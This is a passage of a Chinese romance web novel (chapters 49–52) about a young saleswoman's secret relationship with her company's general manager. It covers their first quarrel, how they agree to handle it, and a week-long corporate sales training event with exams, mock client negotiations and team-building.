天气不爽朗,两个人也有些恹恹无趣,沉默着往回走,辛熙忽然停下来,“所以,你刚才是觉得压力大了吗?”
辛熙看不懂他的表情,但她自己确定了答案,“首府天成只是一个玩笑,我说的时候,并不知道英姨口中的姜姜是你。所以,你不用有任何的压力。”
“知道。”
“那你......”
“我想我有必要告诉你,我并不确定自己是否会走入婚姻。”
“难怪......”
“难怪什么?”
“你的前女友曾向你求婚,希望你留在美国,你并没有答应,所以你们分了手”,辛熙很想问他,是不确定婚姻,还是不确定结婚对象?但,就像她没有问出口的,他为什么要和自己谈恋爱一样,这个问题也同样被吞入腹中,“谢谢你的坦诚。走吧,菜应该上齐了,别让英姨等我们。”
姜渠知道她误会了自己的意思,他的身边并没有圆满的先例可以让他对婚姻抱有正面的期待,这一刻,他开始怀疑自己提出的恋爱是否有些欠考虑了。他拉住往前走的人,希望再多说一些什么,让这个话题不至于显得别有用心,但辛熙平静的回应却又让他懊恼,“我以为你会因此觉得委屈,或者,是愤怒。”
“所以呢,你明知道你的话是会被指责的,却依然要说出口?姜渠,你这么做是图什么呢?事先规避责任吗?”辛熙头一次在他的面前表现得咄咄逼人,虽然语调并没有多么激烈,她说:“姜渠,我并不觉得你的话有错,但你选的时间点很不好。下周就是销售大练兵,我不想被影响心情。”
说完,也不管姜渠什么表情,径直往前走,走了没两步又回头,“另外,我很确定自己将来会结婚,至于结婚对象......”,辛熙撇撇嘴,“谁知道呢。”
直到说完这句话,心头才舒畅了一些,扭着腰肢踏着步,推开了包厢的门。
果然,她也是有利爪的,可以伸出去挠人的。
50. 第 50 章
辛熙以为这就算两人的第一次吵架了,这反而比姜渠说要送给她车,让她更有谈恋爱的真实感。她发挥得不错,不算落在下风,但当姜渠跟没事儿人一样给她打电话的时候,她还是明显感觉到了两人在情绪消化能力上的差距。
午饭后,姜渠将黎英和辛熙送回了家。
没一会儿,辛熙收到了他的微信,他说他就在门口,让她找个借口溜出去。辛熙看完后就将手机扔到一边,没有答复,她认为自己有资格且有必要在这个时候使点儿性子。
黎英正在试用新买的洗地机,据说是因为她不小心提了句“老了不中用了,拖个地,没一会儿就腰酸”,第二天就收到了姜渠买的这个智能的吸扫洗拖一体的机子。
辛熙环顾了下四周,发现家里很多电器都已经更新换代成最便捷适用的款式了,她知道,都是姜渠的杰作。
“英姨,我来吧,您先歇会儿。”
黎英拒绝了,“没事儿,我正好消消食。你忙你的去。”
辛熙知道劝不了,只好去拿自己的包,打开才想起自己的平板电脑还在姜渠的车里,于是赶紧往外去,生怕人走了,又得麻烦,边走边说:“英姨,我出去买点东西哦。”
走得急匆匆地,一个没注意,和正在往里进的人,撞了个满怀。
“哎哟喂,慢点儿”,出声的是黎英,两个当事人倒是不发一言,黎英问姜渠,“你回来干嘛呀?”
姜渠指着缩在一旁揉着额头不悦的人儿,说:“我找她。”
这可就蹊跷了啊?两个算不得多熟的人,在刚刚分别后,有什么理由再找,黎英的疑问全都写在表情上。
辛熙同样一脸问号,只不过她的带着质问,说好了暂时保密,你现在这是什么意思?
姜渠都当没瞧见,只说:“刚给你发消息了,你没回。”
“是么?”辛熙只能装傻,掏出手机假模假样地翻了翻,“哦,你说我平板电脑落你车上了啊。”
那平板呢?姜渠此时两手空空,倒让辛熙的这句话,显得有些此地无银三百两,还好她反应极快地扬起嘴角,但也咬着牙,陪着笑,“那我肯定是得亲自去取的,不好劳烦您。”
如果说辛熙跑出去的姿势有点落荒而逃的架势,那她坐到姜渠车上后就算是找到安全窝了。辛熙拍着胸脯平复心情,她自小不爱撒谎也不擅于撒谎,可自从那个关于“瑞拉”的大谎撒出去后,在相关的事件上,她就总在撒谎、圆谎。她怀疑,做坏事会有成瘾性,不然老一辈怎么总说,学坏很容易。
姜渠上车后,不太理解她的惊慌,虽然他刚才的行为多少带着些刻意,“姥姥本来就有意撮合我们,你没必要瞒她。”
辛熙却多了一层苦恼,如果黎英了解了她和姜渠的相遇相识,未必还能有这层意思,她不希望黎英也对自己失望。
辛熙说:“在英姨的眼里,我俩也不过见了几次面,怎么可能就......更何况未来会怎样谁也不知道,别让老人家跟着操心。”她感觉到姜渠的目光落在自己身上,带着些意味不明的审视,但她故意不理会,装作很忙地样子找自己落下的平板电脑。
薄薄的一个板,卡在车座的缝隙里,很难被发现,辛熙不得不侧身去取,手臂却被一道力量拉住,姜渠将平板取了出来,递给她,并直接表明了自己的意思,“其实,我不太能明白你为什么对这件事态度很悲观?这不像你的性格,准确的说,不像我认识的你。”甚至不像任何一位普通的女性,在恋爱初期,充满对地久天长的期待。
辛熙觉得自己似乎一直在听到他说她不像他认识的、以为的样子了,她真的不明白,既然这么不同,那为什么要在一起呢?
“你本来就不了解我”,辛熙转过头,与他正面相抵,直视,“我就一定得是乐观积极、阳光开朗的吗?姜渠,你问过你自己吗?你对这份感情有信心吗?你觉得我俩现在没有问题吗?像正常的恋爱吗?”
谁家谈恋爱,先睡后谈,不讲感情的?
辛熙带着情绪连声诘问。她很难不带情绪,虽然她一直习惯性地避免在任何关系上与人产生矛盾。但这也让她对姜渠的话有了一定程度的认可,她确实不太像自己了。
姜渠沉默着,应该是在思考她的话。他们确实不够了解彼此。无论是瑞拉还是辛熙,其实他都不了解,她的性格爱好、成长过程、社会关系,他无一了解。他知道的,只有员工履历上那些必填的基础信息。
徐进的话还是很客观的,大多数人爱上的都是自己臆想的某个形象,再借由一个具体的人,表达出来。
良久的沉默后,就在辛熙准备要下车之时,姜渠开口了,他说:“对于下午说的那句话,我想我需要先道歉。”
“不用,你只不过是说了句真话”,虽然真话伤人,大可不必那么直白。
姜渠知道在这个点上继续探讨没有必要,他确实说的真话,总也不能再用句假话来包装,于是说:“但我想我们需要先明确一点,我们现在是有问题,但不是我和你遇到了问题,而是我们遇到了问题。”
“有区别吗?”
“是我们,和问题,我们需要一起面对,并解决这个问题。”
是这么理解的吗?辛熙微微惊讶,身子侧回来些角度,虽然觉得在理,但嘴上却是不输,“你之前也说过,解决不了问题,就解决制造问题的人。”
是在今年年中的全员启动会上,姜渠在会议开始的致辞里说了这一句话,辛熙一直记得。以至于她后来在津南的出租房楼下,见到姜渠风尘仆仆地赶来时,就在想,她暂时是没有能力解决这个男人对自己的诱惑了,那不如就再放肆一把,把眼前的人,吃干抹净也好,纠缠不休也行,谁叫这男人,也算秀色可餐了。
辛熙的这句话多少有些公私不分了,把他在工作场所上说的这句话拎出来反驳感情角色里的他,是不妥当的,辛熙意识到失言,补了一句,“那你说,要怎么解决?”
“你之前说,我们不对外公开,一时因为我们互相了解不够,二是因为我们目前的上下级关系,对吗?”
得到辛熙的确认后,姜渠才继续,“针对第一点,我想我们可以试着像其他的情侣一样,慢慢相处,顺其自然,从相熟再到相知,补上之前跳过的恋爱过程,你OK吗?”
“OK。”
“那第二点......”
“我可不辞职”,辛熙抢先说下自己的结论。她知道,就她和姜渠的工作对比来看,如果真的面临职场恋爱的困境,只能留一个的话,谁去谁留,答案很明显。可她不想这么快接受这个定论,她的事业才刚刚开始,她需要麦高这个平台为自己助力。
“没想让你辞职”,他伸出手揉了揉她鬓前的碎发,这好像是他们第一次在工作之外,如此心平气和地商量事情,姜渠说,“好了,多了解到你一点了。关于第二点,我同意,像你说的,暂时对外保密。但,我们也得事先说好,工作情绪不能牵连感情问题。”
辛熙眨巴着眼睛,试图理
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解他最后这半句的意思,“你的意思是......假设GM姜渠先生在公司批评了基层员工辛熙女士,辛熙女士觉得委屈,但下了班,辛熙女士不能拿自己的男朋友撒气?”
这个假设......嗯......姜渠说:“可以。但不能搞连坐。”
“行”,辛熙果断答应。
辛熙再一次去开车门,却又再一次被拉住,不解地问:“不是说完了吗?”
“带你去个地儿”,说罢,已经发动了车子。
辛熙看着他的侧脸,想起自己那时的义无返顾,就仅仅是出于对这一张脸的贪慕吗?食色皆为天性。后天的教育、道德规矩,都是为了控制人的动物属性,可他偏偏对她有原始的诱惑力。如果他们能在相处长久一些,也许早就淡了吧。
姜渠提醒她系上安全带,“想什么呢?”
“我们去哪儿啊?”辛熙随意地问起。
“我家。”
“那可不行哦”,辛熙直起腰背,严词拒绝,“你刚刚才说了,要慢慢相处。我们至少,至少应该从一顿饭、一部电影,牵小手手,开始吧。”
姜渠知道她想歪了,趁着红灯的时候,宠爱地捏了捏她的耳垂,“给你找了外援补功课。”
辛熙又再一次脸红了。
等到了地儿,辛熙才知道,他说的他家,是有姜怀正的地方。虽然他表现得可有可无,但就像上回在京医医院的院长办公室一样,他对一切非常熟悉,推开门,大咧咧往沙发上一坐。
姜怀正看着辛熙,并没流露出半点惊讶,只说:“那天晚上打扰你了,是不是都没睡好?”
“没关系的,姜院长。”
辛熙此刻忐忑极了,对面既是长辈又是客户,她无论如何也做不到应对自如。这让她无比期待自己的几年后,也许是三十岁,希望那时,她已经能在不同的场合面对不同的人进退有据。当然,如果做不到,那就希望那时自己已经不再纠结这个问题了。
麦高的销售大练兵,分为专业知识测验,和模拟客户谈判。姜渠请姜怀正来给辛熙开的小灶,就是应对到时候的客户谈判。
京医医院是家综合性医院,姜怀正一开始从事技术,后又兼着行政管理,对于医院各个科室的不同状况自然了解多,让他来帮忙做这个模拟测试,再好不过。
但任何的能力提升,都少不了经验的累积,辛熙最缺的就是实际经验,这一点,没有捷径可走。这种模拟性质的教学,也只能锦上添花。姜怀正一开始并不同意,他哪有那闲工夫,但耐不住姜渠坚持。他从来就拗不过姜渠。一如,他当初要出国学医,学成后又改从商。
姜怀正难得地休了两天的假。
辛熙收获颇多。她以前一直认为,一场合作,就是一个甲方和一个乙方,找到利益交互的平衡点,再各取所需。但经过姜怀正对于医院内部架构、医患关系,甚至是市场监管、医保政策等的提点后,她才明白,甲乙双方背后还有各自的利益矩阵,在互相牵制。就像圣南的程院长并不会单单因为她的新方案更具经济效益,就直接选用了一样。
姜怀正还给她科普了一些医院相关科室的相互作用,“当然,不同的医院的内部情况不尽相同,还是要找准症结,对症下药。”
“所以,你最好在你的客户那边培养出一个你的自己人,当你的眼”,姜渠补了这么一句,得了姜怀正的一个白眼。
辛熙敏锐,自然能懂,做客情关系,既得上面有人,也得下面有人。
51. 第 51 章
从理论上来说,辛熙觉得自己几乎可以所向披靡了。这就好像上大学时,快要期末了,突击学习了一两周,就信心满满地上考场,最后也能取得不错的成绩一样,她也带着这样的底气上了销售大练兵的战场。
大练兵的场地被行政安排在近郊的商务酒店,全国的销售都被集中在这里参加为期一周的封闭式训练加考核。
浩浩荡荡的一群人等待着出发,辛熙在人群中被人拍了下肩膀,回头看见一个短卷发的女生朝自己笑得一脸灿烂,“嘿,辛熙。”
辛熙一听她的声音就知道是谁,开心地抱了抱她,“叶眉,咱俩终于网友奔现了。”
“是呀,去年来的时候都没有机会打招呼,所以我今年一定要在开始前找你说说话。”
她俩还真是第一次见着,公司太大,大部分的同事分布在全国各地,平日的工作交流全都通过信息软件,深入一些的也不过就是朋友圈偶尔点赞。
两个人闲聊几句后,就见前方的人在涌动,叶眉朝她努努嘴,“瞧,这些人,难得进宫一次,着急刷脸。”
辛熙看着被人捧在中央的姜渠,也认可叶眉的话,“那你咋不去?”
“这就面临一个很经典的面试问题了,这么多人,我挤过去,要使什么手段才能让姜总快速地记住我。”
辛熙想到了网上的答案,“泼他一身咖啡?or,打一巴掌?”
“错,足够漂亮就行。”
“你这太肤浅了吧。”
“男人都很肤浅,身份地位、阅历财富都只是让男人将肤浅藏得深一些罢了。”
辛熙被她逗笑,她俩年纪差不多,但叶眉总是一副老气横秋的模样,辛熙摩挲着下巴,一双洞察的眼睛将她锁住,“嗯......我家眉眉故事很多啊。”
叶眉莞尔,“找个空儿,咱俩喝点酒,慢慢跟你说。”
“得嘞。”
姜渠被请到台上致辞,他的开场白很简短,都是公司内部的人,用不着场面话。
她俩顺着人群站到队伍的末尾,叶眉用手肘碰了碰辛熙,嘴唇蠕动,小声说:“我之前说得不错吧,咱这位GM长得是不是很好睡?”
“你是说他很随便吗?”
“我是说......很行。”
虽然最后那俩字几乎小到要听不见,但还是让辛熙暗自红了脸,还好叶眉并没有看她,不然她铁定会无地自容的。
天知道,她脑中那一番不可示人的浮想是什么。
姜渠下台后,留行政在台上说接下来几天的安排,施琪给他递过来一杯咖啡,“培训组那边说,看到你周末在看资料,看到后半夜,问你是不是有什么指导意见,可以告诉他们,趁下午的时间再做调整。”
他当然没有那个闲功夫了,原因只能是因为他在体检中心的时候借了辛熙的设备登陆,忘了退出。姜渠并没有解释,他在人群中寻找那个身影,不知道是不是因为两个人的特殊关系,她在人群中很容易被发现。她的人缘一定不错,时不时就有人走过来同她寒暄几句。
姜渠告诉施琪,“就按之前拟定的,我没什么问题。”
“好的”,施琪笑笑,“但是姜总,明天,我不会和你站在一起的,我怕他们骂你的时候,口水溅到我身上。”
“随意,但我会提前告诉大家,多谢施助给的建议。”
施琪怼他,“老奸巨猾。”
他说:“你也不差。”
大练兵的第一晚,气氛非常和谐,行政办的同事安排了简单的自助晚宴,没有测验,只是聚餐,大家都很放松。都是做业务的,凑在一起,自然热闹。几个区的经理和支持部门的领导被安排在单独的包间,一个大区总监下面四五个地区经理,凑起来也是满满当当的好几桌人。
这种场合,施琪一般都不陪着,她讨厌所有阿谀奉承的嘴脸,也不明白姜渠为什么适应良好。
施琪和辛熙她们凑在一起,特意叮嘱,“趁今儿有胃口,多吃点哦。”
大家立马就懂了,后面的几天日子不会好过,叶眉仰天长叹后端起自己的盘子,“我再去拿点大虾。”
辛熙也想跟上,但被施琪拉住,小声说:“姜总喝多了,你去把他叫出来,醒醒酒。”
“不合适吧?”辛熙并不确定施琪知道多少他俩的事,但看她的表情,也能猜出,姜渠并没有瞒她。
施琪掏出个手机递给辛熙,这是她和姜渠多年的默契,在应酬的局上,他一般会将手机交给施琪拿着,方便她随时找机会捞他。当然,这种过分的信任,也曾一度造成外界对他俩关系的猜疑,好像男和女,就非得有点情色关系才能彼此信任。
辛熙从不怀疑他俩。他俩当然有世俗意义上的般配条件,但她认为,无论他俩中的谁真有半点那层意思,都不是会容忍对方身边出现其他人。
辛熙去的时候,姜渠正被一群人围着,个个面红耳赤,酒意甚浓,周围的人很闹,辛熙站在几米远叫了一句,没有得到任何的回应,她只得再走近些,又叫了句“姜总”。
姜渠总算听见了,但他似乎是为了听清她的话,将就着她的身高,低下了头,凑得过份地近。他确实喝多了,眼睛里都是醉意。
辛熙将手机递过去,“有找您的电话。”
“嗯?”
“您的电话。”
姜渠瞬间就懂了,配合着,接起电话往外走。
辛熙随后跟着出去,酒桌一侧的一个中年男人对于她的出现,脸上的神情从疑惑、惊讶,再是了然。
辛熙出去的时候,看到姜渠握着手机,站在走廊尽头,朝她招手。确认没有其他人发现,赶紧跑了过去,躲在了廊柱后面。不知怎地,心跳得很快,带着一种久违的欢愉。像情窦初开时,收到一封粉色纸笺,躲在被窝里忐忐忑忑地打开,几句风花雪月的词歪歪斜斜地抄写在纸上,但就是让人脸红心跳。
他真的在打电话,辛熙知道,他几乎每天都会跟黎英联系,就算是在国外的那几年,也很少有例外。
辛熙没敢出声,她的手被姜渠攥在手掌心。不时有醉酒的人出来又进去,她的心跟着紧了又紧。辛熙稍稍使力,想挣脱这种随时爆炸的心慌,却感觉五指被宽大的手掌绞缚其中,对方游刃有余,而自己不得解脱。
她用眼神示意他放手,现在这里有百十号的人,被发现了可不得了。但他像是没听见,将交握的双手举起,摇了摇,仿佛再说:这是我俩的第一次牵手,说好了,要像正常的情侣一样,从牵手开始。
第一次牵手的后遗症直接导致了辛熙当晚的失眠。这让她意识到一个非常严重的问题,那就是她真的太容易受其影响,于是决心以后在工作场合还是得尽量避着他走。
但天不遂人愿,她去餐厅吃早餐时,时间尚早,很多同事都还没起床,偌大的餐厅,只有姜渠一个人坐在窗边。
叶眉感叹:“果然能当大老板的人,精力都是异于常人的。”
辛熙表示同意,拉着叶眉,找了个较远的位置坐下。
“坐这儿干嘛啊?这现成的机会,不得去老板面前露露脸啊。”
“你想去?”
“不想。”
两个人默契地偷着笑。
辛熙却对叶眉生出一丝愧疚。若涉及职场晋升,在大领导面前留个好印象是必不可少的。叶眉远在广州,这样的机会并不常有。姜渠不喜欢刻意的巴结,但底下人那么多,真要给机会肯定不会给一个他完全没记忆的无名氏的。
辛熙劝她,“要不咱去打个招呼,挂个名儿?”
叶眉当然明白她的意思,辛熙base在总部,姜渠又暂管着北区,打个招呼,挂个名儿,不过是帮自己创造机会,但她摇摇头,“算了,好傻啊。过去说什么?姜总,您好哦,我是南区的某某。您也来吃早饭啊。多吃点哦,您太辛苦了。万一他问起工作,我回答不上来,不是找骂么。”
叶眉描述着那个画面,确实显得滑稽,但她话还说完的时候,这个场景就已经在现实中上演了。
昨晚宿醉加失眠,今天特意早起,天知道,他只是想好好地安安静静地吃一顿早餐。姜渠的对面,从坐下一个人到一群人的功夫,辛熙和叶眉已经用餐完毕。
离开时,匆匆撇了一眼,被捧上高楼的人,从那些人坐下开始,就没能再多吃一口饭,辛熙轻轻地叹了口气,没有人活得轻松。
早上九点,测验正式开始。
当主持人宣布,测验的试题将从一千道试题库中随机生成的时候,大部分销售的脸都垮了。这意味着,他们之前搞到手的试卷白搞了,也意味着,他们连抄别人的机会都没有,因为大家的题很可能完全不一样。
专业过硬的销售脸上是雀跃的,这相当于给了他们更加公平公正的机会,展现自己的优势,获得认可,比如何耀丹。
业绩靠前的销售一脸无所谓,反正考得好不好,也不影响他们的收入和公司地位,比如张鑫。
像辛熙这样的一直埋头苦学的人则先是惊诧,再是淡然,反正出题方式换来换去,最后的结果反应的都是自己的真实水准。
叶眉坐她对角,朝她挑眉一笑。
早上的测验是专业题问答,下午是根据抽到的题,制作提案PPT,整个过程紧锣密鼓地进行。头一晚神采奕奕的顶尖外企销售团队,在第二天结束时,丧失了对工作的全部热情。
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“之前都是让我们自选提案,讲完让专家组打分就完事了,今年干嘛要搞个随机出题,现场做PPT啊。”
“是啊,完全措手不及,什么都没准备。”
“有些情景设置得,比我这两年遇见的所有客户都刁钻。”
“现实里,遇到这些问题,找找关系,送点......昂~也就过去了。”
“那可不,纯技术的,直接让应用专家上就行了。”
“我绞尽脑汁,就差抠臭脚丫了。”
......
每个区的销售总监都收到了底下人的抱怨,但抱怨声也仅止于此,并没有上传到姜渠那里。这大半年的时间,他在麦高的威望早就树立。
晚上的时候,叶眉拖着行李换到了和辛熙一间房。是的,这种时候,叶眉还是有闲工夫关注其他的。她想在京北的几天待得更舒服些,其中就有一条,要和喜欢的辛熙住一起,否则,照这种强度,她俩未来几天都没机会说上话了。
这着实费了些功夫,但叶眉心态好,她认为值得。
两个人敷着面膜,猜测明天的模拟谈判会以什么样的形式进行,叶眉很肯定,“咱们内部肯定有人知道。走,去打探打探。”
至于去哪里打探,辛熙不知道。她跟在叶眉的后面,叶眉神通广大,领着她坐电梯下到了酒店的负一楼。电梯打开,即是一家下沉式酒吧,灯光幽静,叶眉很快找到了熟人,是南区负责广东福建一带的销售经理师尧和几名销售。
这位师尧的名字,辛熙如雷贯耳,几乎每次的表彰大会他都榜上有名,甚至传言他有望成为南区的下一任销售总监。
“幸会,幸会”,辛熙的客气话发自真心。
师尧说:“我也知道你,我见过你做的数据模型,很清晰。”
这倒让辛熙意外。只是区域内部会议上汇报时做的模型,怎么会传到南区去了。不过话题很快被其他人带过,她也没有机会多问这一句,后来想想,又不觉得奇怪了。师尧原先在北区待过,自然有他的消息渠道。
第三天,分组进行,模拟现场谈判。大区总监和各经理随机组合,搭配交付团队、产品部、商务运营的人组成评审团,扮演甲方角色,每位销售现场讲解昨日制作的PPT方案。
辛熙的表现远比自己想象的更加淡定从容,虽然她当时并没有意识到。
她抽到的话题是为某医院介入科室的MDT肿瘤介入项目提供临床应用方案,方案根据历史经验数据搭配新的产品技术完善制作,基础夯实,有理有据,但交付团队的向总听完,却皱起了眉,“你知不知道,你的方案里包含的Four D&R定量平台完成后,实际会出现什么状况?”
这个提问,说实话有些超纲,Four D&R定量平台升级技术全国实际应用的案例也只寥寥几个,辛熙只在大讲堂上听过,更何况,他现在是甲方角色,现实中根本不可能提前预知乙方产品的应用问题。
但......无论他是甲方,还是麦高的向总,她都不能随意应对,辛熙笑了笑,“向总这边是有什么技术上的疑虑吗?”
向良才冷声呲笑,倒是又带入了自己的甲方角色,“我怎么听说,这里面所应用的平面勾画法,精确度不够,且耗时长达一个小时?这会严重影响诊疗效率。”
辛熙听他的口气猜测这事应该有解,只不过,他认为辛熙不知道。当然,辛熙并不认为他针对自己,他可能连自己的全名儿都记不得,他只是在无差别攻击,用自己的优势攻击他人的劣势。
辛熙只能坦率且坚定地告诉他,“您放心,麦高的所有产品技术都完全能经得起市场的验证。我们的交付团队在每一项新技术投入市场前都会做万全的准备,并且工程师在实际安装应用的过程中,发现任何问题,都一定会竭尽全力,尽善尽美。”
这话是变相夸了向良才带领的部门,他倒是受用,但角色扮演时不好过分出戏,就又端着,“那你说说看,怎么解决?假设现在就是存在这样的问题,你的方案里完全没有应对措施,我们如何信你。”
辛熙想起了师尧昨晚说的那句:不管是模拟现场,还是真实情景里,你就当客户都是幼儿园的孩子,要吃糖要撒尿要无理取闹,你要笑要哄,要顺毛捋,还要有百宝箱。
辛熙拿出了平生最大的耐心,这耐心,就是在圣南磨出来的,“各位领导,请看我最后这一页,项目在实时推进过程中,我们将配有交付专家全程跟踪,所以如果此时已经发生了向总所担忧的问题,我想我们的专家应该已经有了解决方案。请给我几分钟,了解一下进展。”
随后,向良才的电话响起来,他自己回答了自己的提问。
52. 第 52 章
结束后见到叶眉,才意识到自己的大胆。
叶眉说:“我们可都听说了,你将了老向的军。”
“我哪敢啊”,辛熙耸耸肩。
“扮猪吃老虎。”
“嘻嘻”,她并非刻意,但对自己的行为却很坦然,彼时,她并未发觉,这样的行为模式与她惯常的顺从方式已然相背离。
“他当时怎么没装作在忙,没听到电话之类的,让你下不来台”,毕竟这在实际状况里时有发生,叶眉实在好奇。
辛熙歪头一笑,悄声说:“我们那组的评审团里有global的人。”
“你认识?”
辛熙回以羞赧的笑意。她之前是不认识的,但周末的某个深夜,她苦读到夜半时分,看到了一封全英文的邮件,原以为是自己的,迷迷糊糊地点开,看完内容时还在想,global要派人来微服私访,怎么还专门告诉自己这个小虾米呢?再一看,完了,邮件的起头,大咧咧的几个字母‘Hi Jim’。
全球经济下行,只有中国区还在保持增长态势,global如此重视自然也在情理之中。
辛熙猜想几个高层肯定都收到消息,向良才不敢不配合,“那不就显得他们交付团队不专业不尽职了么?”
叶眉点头称赞,“聪明。”
“那你的怎么样?”
叶眉撇撇嘴,吐槽道:“我说今儿个底下怎么全中英文夹杂着说话,生怕我听不懂,又怕我全听懂了似的。”
第四天,户外拓展。
行政的同事将地点定在了徐进的自在王国。大巴车将一行人拉到了栖云山脚下,徒步上山的途中设置了很多闯关游戏,通过则前进,不通过的会有惩罚,最差的结果是倒退至前面的关卡重新来过。
欲攀登者,最不可缺的就是重新来过的勇气!
辛熙隔着人潮,看见姜渠和徐进人模狗样地寒暄,行政经理张伟茹陪同在旁,对大伙介绍说:“得多谢姜总介绍的好地方,这次的拓展地点都是姜总的朋友徐先生友情提供的,让我们一起谢谢二位。”
大伙也就跟着起哄欢呼,看得出来,徐进很吃这套。两个大胆的女同事跑上前去找徐进加微信好友,徐进来者不拒。辛熙恨恨地瞪了两眼,但这两眼在人潮中,半点波澜也没生。
姜渠倒将徐进拉开了,警告他和麦高的员工保持距离,他可不想处理自己的好兄弟和公司下属之间的绯色是非。
徐进比了个OK的手势,让他放心,他有分寸,“我只是在帮运营的忙,这些年轻人都是我们的目标客户”。
“最好是”,姜渠不再多说。他很少过问他的私生活,徐进是值得信赖的朋友,他只需要衡量这个人在友情界定的范围内是否可靠,至于其他,与己无关,过多则越界。
叶眉又找了关系,调到和辛熙一组。她常年在广州分公司,倒比自己这个待在总部的人,在行政办混得开。
辛熙朝她竖起大拇指。行政办的张伟茹是出了名的难打交道,辛熙做销售支持时,定个会议室都要被她挑剔。
叶眉大笑,“她么?我让师尧去跟她说的......她......嘿嘿,暗恋过师尧。”
“师经理吗?啊,这......”
“当然,这也不是什么秘密了。老一点的同事都知道。师尧离开京北,也和她有点关系。”
辛熙摇着叶眉的手,按耐不住八卦的心,“求求了,再多说一些。”
八卦他人的时候目光会下意识地追踪正在讨论的对象,她在人群中找到了师尧,看着他走向了姜渠,脑海中全是香艳的故事。目光闪烁不定,摇头感叹,惊诧多过可惜。
姜渠注意到了这边,自己的女朋友正在以一个饱含深意的目光看着另一个男人,虽然很快就收敛,但这并不能抵消那短促的不适感。
“你和京北的同事,很熟?”
师尧怔了一下,点点头,只当老板是随口一问。师尧在考虑要不要交代和张伟茹的过往,他不确定姜渠是否有那闲心听他澄清绯闻,“我在京北总部待过三年,那三年,是我职场生涯里最美好的三年。”如果没有最后的潦草结束的话。
“那为什么不接受我的提议?”到京北,更广阔的发展空间,更高的职位,更可观的年薪。
“我很感激姜总的赏识。但这两年,我也......习惯了南方的生活节奏。”
步道边设立的关卡正有人在闹哄哄地玩着游戏,笑闹声有时会盖过他们的对话,姜渠只能往上走,“你这人什么都好,就是太感情用事。离开京北和留在广州,都是因为别人。”
师尧错愕地问:“姜总,您都知道了?”
姜渠停下脚步,目光扫过正在玩游戏的人,“重感情是好事。”
师尧以为这句话后面会有个“但是”,但姜渠说完,话就停在了这里。
玩游戏的人依然热闹不停,男同事公主抱女同事做下蹲动作,起哄的人帮着数数,气氛烘到了嗨点。
姜渠只说:“职位会保留到今年年底。”
师尧说不清自己胸腔里汹涌而出的是什么情绪,但得承认,自己被姜渠一眼看破了。
辛熙这头,有些不是滋味。
她和叶眉、简运以及西区的一名叫冉波的销售分在同一组,游戏需要一名男生公主抱女生,叶眉坦然地说她有男朋友,这个游戏不适合玩,他们问辛熙,在她拒绝之前,简运替她回答了,说“她单身”。
有京北的同事刚巧路过,玩笑道:“简运,你还没追到啊。”
简运笑咧咧,“快了,快了。”
被默认成恋人未满的状态,这个游戏简直就是为他俩量身定做。辛熙没来得及拒绝,就被简运抱了起来。她有些惊慌,人群骚动的缝隙里她看到了姜渠冷漠的转身。
热闹的氛围延续到了傍晚,她的忐忑随之忽上忽下。她想找个机会去找姜渠解释下,不管他是否真的介意,但这是作为女朋友该有的责任意识。
但他的身边总是有人。活动的最后一场晚宴,姜渠是当仁不让的中心人物。他新官上任,多的是下属上场自荐、或试探。
“其实啊,老姜完全没必要在这儿杵着,霸总霸总,和下面人打成一片还怎么霸道起来。要是我,露个脸就溜了”,简运突然走到辛熙身边说到。
私下里对老板用些无伤大雅的冒犯称谓,似乎能显出自己一些不畏强权的清高,以粉饰当面时给予的恭敬只是出于礼貌,而非谄媚。
辛熙沉默回应。
简运继续说:“我看你端起这酒杯好几次了,怎么,想去给老姜敬酒又不好意思吗?我带你去呗。”
辛熙并未反驳,但摇头拒绝。
“怕什么啊,这没什么的,走,你就跟我后面就行。”
简运半拉着辛熙往前走,一边走还一边说:“你啊,啥都好,就是胆子小了点。既然来做销售了,还这么怕老板们可不行”。
“不,不是,等等,简运......”辛熙几乎语无伦次。她当然有余力挣脱开,但周边都是同事,稍微带点起伏的动静都会引起注意。哪怕像现在她什么也没做,依然有几个相熟的同事,投过来一脸的八卦相。
简运大大方方地敬姜渠,熟练地说了几句恭维的话后,见辛熙傻愣着,悄悄提醒她,辛熙赶紧跟上,“姜总,这杯我敬您,您,您辛苦了。”
话一出,倒率先引起了旁边几个经理的笑意,赵志远也在其列,他说:“小辛这次的进步很大啊,圣南的单子就做得很漂亮。”
“谢谢经理。”
有人问:“老赵啊,你们区什么时候招了这么个伶俐的
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小姑娘啊?”
赵志远还没答复,已经有人打了岔,“看着有点眼熟嘛。”
“侯总,你倒是神通广大,哪里的人都认识。”
“是的嘛,你别不是以为就你们四川出美女。”
看得出来,他们和姜渠的关系都不错,说话都很随意,辛熙只能端着酒杯微笑着陪着,心想真是选错了时候,也只能由得他们打趣。
姜渠听着他们的闲话,脸上覆着一层薄淡的笑意,好似谁说话他都在认真的听,但辛熙觉得,他有些没了耐心。
辛熙的保持沉默和姜渠不同。不善社交的人,总以为少说少错是最安全的防守牌。
简运就不一样了,他很自然地随着话题,先介绍了辛熙,又引到其他自己感兴趣的地方。不知是谁叫住了路过的张鑫,张鑫加入后,话题开始被他引领着。
辛熙在沉默中,生出敏感触角,她发现一个很有趣的现象,社交能力的竞赛是现场出结果的。
很明显,张鑫略胜简运。
张鑫的优势源于他在公司足够久,和在场的人几乎都相熟,自然有得寒暄。虽然他从一加入,就彻底忽略了在旁边陪衬的自己。
这并没有什么了不起的,辛熙福至心灵地想到,现在完全就是一个为自己设置的极好的练手场景。复杂交错的人物关系里,几个陌生的摸不清楚性情的人,一个讨厌自己的,一个和自己关系不错的,还有自己的直属上司及上司的上司。
她想到了辛雅教给她的:刻意练习。很好,假设她现在是一个社交达人,完全有能力充分地与人建立起健康舒适的社交活动。
她就这么大着胆子去试了,完全忘了先前拘泥在情爱之中的小情绪。她找准了一个话口。一位负责私立集团客户的经理聊起自己的一些想法,他希望姜渠提供资源支持,组织安排客户到运营更为成熟的医院去参观学习。
辛熙立马来了精神,悄悄凑上去,“那个,我可以旁听一下吗?”
“哦?你也有兴趣?”说话的人正是之前的老侯——西区的销售总监侯广兴。
“是的,但我目前了解得不多。只是有客户表示过这方面的顾虑,关于运营方式啊、人才建设、供应链搭建这些。包括DRG的一些应对措施。我想如果我们能提供这些资源分享,对客情关系肯定会有很大的助益。”
天知道,她说这些话时,头脑有多么清楚,言辞表达多么清晰。
侯广兴有些意外于她能想到这些,眼神颇有些赞赏,拉过赵志远,对她好好表扬了一番。
张鑫自然不会放过这个机会,“辛熙,我之前怎么没看出来你这么上进。”
